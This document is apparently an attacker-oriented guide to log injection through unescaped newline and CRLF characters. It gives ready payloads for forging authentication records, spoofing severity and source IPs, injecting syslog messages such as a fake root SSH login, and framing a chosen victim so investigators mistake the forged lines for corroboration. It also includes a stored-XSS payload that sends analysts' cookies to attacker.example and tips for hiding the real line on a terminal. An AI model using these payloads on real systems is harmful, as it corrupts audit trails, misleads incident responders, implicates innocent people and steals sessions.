Line-oriented logs use a newline as the record separator, so one logical log statement is one physical line. When attacker input containing a newline (\n, %0a) or a carriage-return/line-feed pair (\r\n, %0d%0a) is written into that line unescaped, the log file now contains two lines where the application wrote one. The second line is entirely attacker-controlled and is indistinguishable from a genuine record to anything that parses the file line by line.
The primitive
A typical access or auth log statement interpolates a field straight into a format string:
logger.info("login failed for user=" + username + " from " + clientIp)
The on-disk line looks like:
2026-10-01T09:14:22Z INFO login failed for user=bob from 203.0.113.9
Set the username field to a value that carries a newline followed by a complete fake record, URL-encoding the CRLF in the HTTP request:
bob%0a2026-10-01T09:14:25Z INFO login succeeded for user=admin from 10.0.0.5
After the logger writes and the bytes are decoded, the file holds two lines:
2026-10-01T09:14:22Z INFO login failed for user=bob
2026-10-01T09:14:25Z INFO login succeeded for user=admin from 10.0.0.5
The forged line carries an attacker-chosen timestamp, severity, message, and source IP.
Forging specific fields
Because you control the whole second line, you choose every field the format exposes.
Fake a successful login to bury a real one or to frame an account:
victim%0d%0a2026-10-01T03:00:01Z INFO auth success user=victim mfa=bypassed ip=198.51.100.7
Spoof severity so a monitoring rule mis-triages. Downgrade your own noisy activity to DEBUG, or raise a decoy to CRITICAL to flood responders:
x%0aLEVEL=DEBUG scan complete, no findings
x%0aLEVEL=CRITICAL database corruption detected on shard-3
Spoof the source IP to point attribution at a third party or an internal host that defenders trust:
x%0a2026-10-01T09:20:00Z WARN repeated 401 from 8.8.8.8
Injecting a syslog prefix
When logs are shipped over syslog or written in syslog format, prepend a full priority and header so the forged line is accepted as a distinct message. A syslog line begins with a priority value in angle brackets, then timestamp, host, and tag:
x%0a<34>Oct 1 09:21:00 app01 sshd[4111]: Accepted password for root from 192.0.2.10 port 54321 ssh2
The <34> encodes facility auth with severity crit, so the forged event lands in the authentication stream with high priority.
Framing another user
Chaining the above, a single injected field can manufacture a trail of activity attributed to a chosen victim: failed logins, privilege changes, or file access lines that name their account and a plausible IP, timed to sit near a real incident so an investigator reads them as corroboration.
Stored XSS in log viewers
Many teams read logs through a web console (Kibana, Grafana, a custom dashboard). If that console renders log content as HTML without encoding it, a newline-forged line that contains markup becomes stored cross-site scripting that fires when an analyst views the entry:
x%0a2026-10-01T09:25:00Z INFO <script>fetch('//attacker.example/c?'+document.cookie)</script>
The log file is the delivery vector and the analyst's authenticated browser session is the target.
Encoding notes
- In HTTP, inject the break as
%0a(LF),%0d%0a(CRLF), or%0d(CR) depending on what the framework decodes and what the log writer treats as a line end. - Bare
%0dalone can overwrite the start of the visible line on terminaltail, hiding the real prefix behind your text. - Where input is JSON, a literal
\ninside a string value is decoded to a real newline by the time it reaches a plaintext logger.